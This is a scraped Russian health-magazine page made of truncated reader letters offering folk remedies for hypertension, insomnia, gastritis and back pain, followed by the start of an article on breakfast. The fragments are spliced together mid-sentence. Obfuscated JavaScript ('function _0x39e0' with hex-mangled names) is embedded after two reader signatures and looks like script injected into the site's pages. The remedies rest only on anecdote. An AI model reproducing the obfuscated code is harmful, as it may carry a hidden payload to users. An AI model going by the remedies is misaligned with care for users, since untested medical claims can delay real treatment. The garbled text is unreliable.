Гипертония одно из широко-распространенных заболеваний сердечно-сосудистой системы. Этим заболеванием страдает каждый третий житель России...
Я гипертоник со стажем. Раньше давление поднималось буквально от всего. Стоило погоде поменяться или мне понервничать немного – и впору «скорую» вызывать. Но как-то раз коллега посоветовала мне отличное народное средство. Она и сама мучилась с давлением, но благодаря своему натуральному лекарству стала чувствовать себя лучше. Конечно, если давление уже сильно подскочило, без таблеток не обойтись, но, с тех пор как я стала пользоваться народными рецептами, приступы стали случаться намного реже. Вот это замечательное средство.
● Столовую ложку меда растворить в 1 стакане минеральной воды, добавить сок половины лимона. Выпить...
Бессонница бывает не только у пожилых людей или людей с шаткой нервной системой. Бессонница может «прийти» и к здоровому человеку в любом возрасте и совершенно внезапно…
Хочу поделиться с читателями «АиФ.Здоровье» своим рецептом от бессонницы. Думаю, в наше беспокойное время он пригодится многим. Возьмите 40 г ягод боярышника, залейте 200 мл кипятка, дайте настояться и пейте как чай. А еще хорошо перед сном смазать виски лавандовым маслом.
Тамара Болотова, Тверь
Личное мнение
Ольга Прокофьева:
– Если медицина народная по-настоящему, я к ней отношусь хорошо. Мне очень нравится толокнянка, пользуюсь ею, когда простываю, она отлично укрепляет организм. Ее не очень приятно пить, она горькая, но эффект от ее приема поразительный. Могу сказать по секрету, что, если простужаетесь «по женской части», это гениальное...
Мучаетесь сильными болями в желудке, и поэтому вынуждены отказываться от привычной вкусной еды?
У меня хронический гастрит. Острое, жареное, соленое мне противопоказано. Но тут как-то раз поехала в гости к родственникам. Сами понимаете – какое застолье без солений и маринадов! Не смогла устоять и буквально через два часа после праздничного ужина свалилась с приступом гастрита.
Тут-то племянница и посоветовала мне пить теплый капустный сок.
● Капустные листья режут и отжимают. Сок слегка подогревают и пьют по 0,5 стакана 3 раза в день за час до еды. Уже через два дня такого лечения приступ прошел! Теперь я всегда пользуюсь этим рецептом, и надо сказать, что гастрит почти перестал меня донимать.
Анна Лобанова, Тверьfunction...
Болит спина? Потянули поясницу? Сводит мышцы?
Не так давно был на даче, весь день грядки копал, и к вечеру поясницу так скрутило, что думал, никогда уже не разогнусь.
Спас меня сосед, который намазал мне спину мазью собственного приготовления. Боль как рукой сняло! Теперь я этот рецепт записал и, если что, только им и пользуюсь!
Если разболелась спина, нужно приготовить смесь из четверти стакана водки, 0,5 стакана меда, 3/4 стакана мелко натертой редьки и двух столовых ложек соли. Применять эту смесь наружно для растирания 2 раза в день при обострении.
Михаил Иванович Пронин, Рязаньfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
От того, что мы едим, зависит и внешность, и здоровье. Попробуем составить идеальное меню
Завтрак
Зачем нужен
Врачи считают, что человек, который привык завтракать, менее подвержен стрессам в течение дня, чем его «голодные» собратья. Кроме того, утренний прием пищи необходим мозгу для того, чтобы лучше концентрироваться и запоминать информацию. Недаром люди, не отказывающие себе в завтраке, реже попадают в автомобильные аварии. Исследования показывают, что хороший завтрак повышает работоспособность примерно на 30%, поэтому если вам предстоит тяжелый день в офисе, не забудьте утром снабдить организм запасом энергии.
Тем, кто боится поправиться, следует знать, что отсутствие утренней трапезы не только не улучшает фигуру, но...